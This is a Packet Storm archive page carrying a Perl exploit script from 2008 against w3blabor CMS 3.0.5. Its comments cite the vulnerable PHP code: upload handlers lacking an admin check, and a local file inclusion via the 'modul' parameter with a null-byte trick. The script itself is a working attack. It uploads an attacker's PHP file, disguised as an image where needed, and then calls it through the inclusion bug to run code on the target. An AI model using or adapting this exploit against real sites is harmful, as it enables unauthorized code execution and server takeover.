what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

w3blabor CMS 3.0.5 Upload / LFI Vulnerabilities

w3blabor CMS 3.0.5 Upload / LFI Vulnerabilities
Posted Dec 9, 2008
Authored by DNX

w3blabor CMS version 3.0.5 arbitrary file upload and local file inclusion exploit.

tags | exploit, arbitrary, local, file inclusion, file upload
SHA-256 | 450a6728bf2dde66bd644cac5eca5c523e70579823c6d81308c24d1cd1e93fba

w3blabor CMS 3.0.5 Upload / LFI Vulnerabilities

Change Mirror Download
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use Getopt::Long;

# \#'#/
# (-.-)
# ------------------oOO---(_)---OOo-----------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Research Division /____/ 2oo8 |
# --------------------------------------------------
# | w3blabor v3.0.5 Arbitrary File Upload & LFI |
# --------------------------------------------------
# [!] Discovered.: DNX
# [!] Vendor.....: https://www.w3blaborcms.de
# [!] Detected...: 17.10.2008
# [!] Reported...: 29.11.2008
# [!] Response...: xx.xx.2008
#
# [!] Background.: Sicher! Schnell! Einfach!
# Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
# abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
# angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
# Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
# es zu etwas Besonderem!
#
# [!] Bug Upload.: in admin/inc/media.inc.php near line 71 (no check on admin privileges)
#
# 71: if (isset($_GET['action']) && $_GET['action'] == "upload") {
#
# 80: $dir = "../../includes/media";
# 81: $file = $_FILES['datei']['name'];
#
# 92: $file = strtolower($file);
# 93:
# 94: move_uploaded_file($_FILES['datei']['tmp_name'],$dir."/".$file);
# 95: @chmod("".$dir.""/"".$file."", 0777);
#
# [!] Bug Upload.: in admin/inc/meinlogo.inc.php near line 45 (no check on admin privileges)
#
# 45: $neueslogo = $_FILES['neueslogo']['name'];
# 46: $logopfad = "../../includes/upload/".$settings['page_logo']."";
# 47:
# 48: $endung = substr ($_FILES['neueslogo']['name'], -3);
# 49:
# 50: if (($endung=="jpg") || ($endung=="peg") || ($endung=="png") || ($endung=="gif") || ($endung=="JPG") || ($endung=="PEG") || ($endung=="PNG") || ($endung=="GIF")) {
#
# 54: move_uploaded_file($_FILES['neueslogo']['tmp_name'],"../../includes/upload/".$neueslogo);
#
# [!] Bug LFI....: $_GET['modul'] in admin/inc/modul.inc.php near line 47 (requires magic_quotes_gpc = Off)
#
# 43: $modulfile = "../../includes/module/".$_GET['modul']."/".$_GET['datei'].".inc.php";
# 44:
# 45: if (file_exists($modulfile)) {
# 46:
# 47: include "../../includes/module/".$_GET['modul']."/".$_GET['datei'].".inc.php";
#
# [!] Solution...: no update from vendor till now
#

if(!$ARGV[4])
{
print "\n \\#'#/ ";
print "\n (-.-) ";
print "\n ----------------oOO---(_)---OOo----------------";
print "\n | w3blabor v3.0.5 Arbitrary File Upload & LFI |";
print "\n | coded by DNX |";
print "\n -----------------------------------------------";
print "\n[!] Usage: perl w3blabor.pl [Host] [Path] <Options>";
print "\n[!] Example: perl w3blabor.pl 127.0.0.1 /w3blabor/ -2 -f s.jpg";
print "\n[!] Targets:";
print "\n -1 Upload over media.inc.php";
print "\n -2 Upload over meinlogo.inc.php";
print "\n[!] Options:";
print "\n[!] -f [filename] Path to local file with php code";
print "\n -p [ip:port] Proxy support";
print "\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = "";
my %options = ();
GetOptions(\%options, "1", "2", "f=s", "p=s");

if($options{"f"})
{
$file = $options{"f"};
if(!-e $file)
{
print "[!] Failed, local file doesn't exist.\n";
exit;
}
}
else
{
print "[!] Failed, see usage.\n";
exit;
}

print "[!] Exploiting...\n";

use_bug($host, $path, $file);

print "[!] Exploit done\n";

sub use_bug
{
my $host = shift;
my $path = shift;
my $file = shift;

my $ua = LWP::UserAgent->new();
my $url = "";
my $url2 = "";
my $req = "";
$file =~ /.*[\/|\\](.*)/;
my $filename = $1;

if($options{"p"})
{
$ua->proxy('http', "https://".$options{"p"});
}

if($options{"1"})
{
$url = 'https://'.$host.$path.'admin/inc/media.inc.php?action=upload';
$url2 = 'https://'.$host.$path.'includes/media/'.$filename;
$req = POST $url, Content_Type => 'form-data', Content => [ datei => [$file], ];
}
if($options{"2"})
{
if($file =~ m/.*\.jpg|peg|png|gif/i)
{
$url = 'https://'.$host.$path.'admin/inc/meinlogo.inc.php?action=upload';
$url2 = 'https://'.$host.$path.'admin/inc/modul.inc.php?modul=../upload/'.$filename.'%00';
$req = POST $url, Content_Type => 'form-data', Content => [ neueslogo => [$file], ];
}
else
{
print "[!] Failed, rename your local file to .jpg\n";
exit;
}
}

$ua->request($req);
my $res = $ua->get($url2);
if($res->is_success)
{
print "[!] File uploaded\n";
print "[!] Check your file @ ".$url2."\n";
}
else
{
print "[!] Failed\n";
}
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close